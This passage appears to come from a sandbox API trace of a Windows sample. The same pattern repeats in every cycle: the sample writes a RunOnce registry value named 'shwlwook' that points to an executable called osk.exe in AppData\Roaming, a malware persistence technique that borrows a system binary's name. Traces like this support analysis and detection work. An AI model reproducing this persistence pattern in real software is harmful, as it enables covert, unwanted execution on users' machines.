Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.029] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.040] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.040] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.040] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.041] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.041] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.041] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.041] RegCloseKey (hKey=0x644) returned 0x0 [0277.042] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.042] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.056] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.056] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.056] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.057] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.057] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.057] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.057] RegCloseKey (hKey=0x644) returned 0x0 [0277.057] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.058] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.071] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.071] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.072] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.072] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.072] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.072] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.073] RegCloseKey (hKey=0x644) returned 0x0 [0277.073] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.074] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.087] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.087] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.088] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.088] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.088] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.088] RegCloseKey (hKey=0x644) returned 0x0 [0277.089] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.089] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.102] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.102] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.103] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.103] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.103] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.104] RegCloseKey (hKey=0x644) returned 0x0 [0277.104] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.105] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.119] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.119] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.119] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.120] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.120] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.121] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.121] RegCloseKey (hKey=0x644) returned 0x0 [0277.121] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.122] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.134] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.135] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.135] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.135] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.135] RegCloseKey (hKey=0x644) returned 0x0 [0277.136] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.136] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.149] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.149] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.150] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.150] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.150] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.151] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.151] RegCloseKey (hKey=0x644) returned 0x0 [0277.151] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.152] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.165] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.165] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.165] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.166] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.166] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.166] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.166] RegCloseKey (hKey=0x644) returned 0x0 [0277.167] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.167] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.180] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.180] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.181] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.182] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.182] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.182] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.182] RegCloseKey (hKey=0x644) returned 0x0 [0277.183] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.183] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.196] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.196] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.197] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.198] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.198] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.198] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.199] RegCloseKey (hKey=0x644) returned 0x0 [0277.199] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.199] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.212] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.212] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.213] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.214] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.214] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.214] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.214] RegCloseKey (hKey=0x644) returned 0x0 [0277.215] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.215] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.229] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.229] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.231] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.231] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.232] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.232] RegCloseKey (hKey=0x644) returned 0x0 [0277.233] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.234] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.243] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.243] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.244] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.245] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.245] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.245] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.246] RegCloseKey (hKey=0x644) returned 0x0 [0277.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.246] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.258] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.259] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.259] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.260] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.260] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.260] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.260] RegCloseKey (hKey=0x644) returned 0x0 [0277.261] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.261] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.274] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.274] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.275] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.275] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.275] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.276] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.276] RegCloseKey (hKey=0x644) returned 0x0 [0277.276] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.277] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.290] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.290] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.291] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.291] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.292] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.292] RegCloseKey (hKey=0x644) returned 0x0 [0277.292] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.293] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.306] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.306] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.306] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.307] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.307] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.307] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.307] RegCloseKey (hKey=0x644) returned 0x0 [0277.308] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.308] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.321] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.321] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.321] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.322] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.322] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.322] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.322] RegCloseKey (hKey=0x644) returned 0x0 [0277.323] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.323] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.338] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.338] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.338] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.339] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.339] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.339] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.339] RegCloseKey (hKey=0x644) returned 0x0 [0277.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.340] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.352] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.352] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.353] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.354] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.354] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.354] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.354] RegCloseKey (hKey=0x644) returned 0x0 [0277.355] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0277.355] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.370] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.370] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.372] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.373] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", 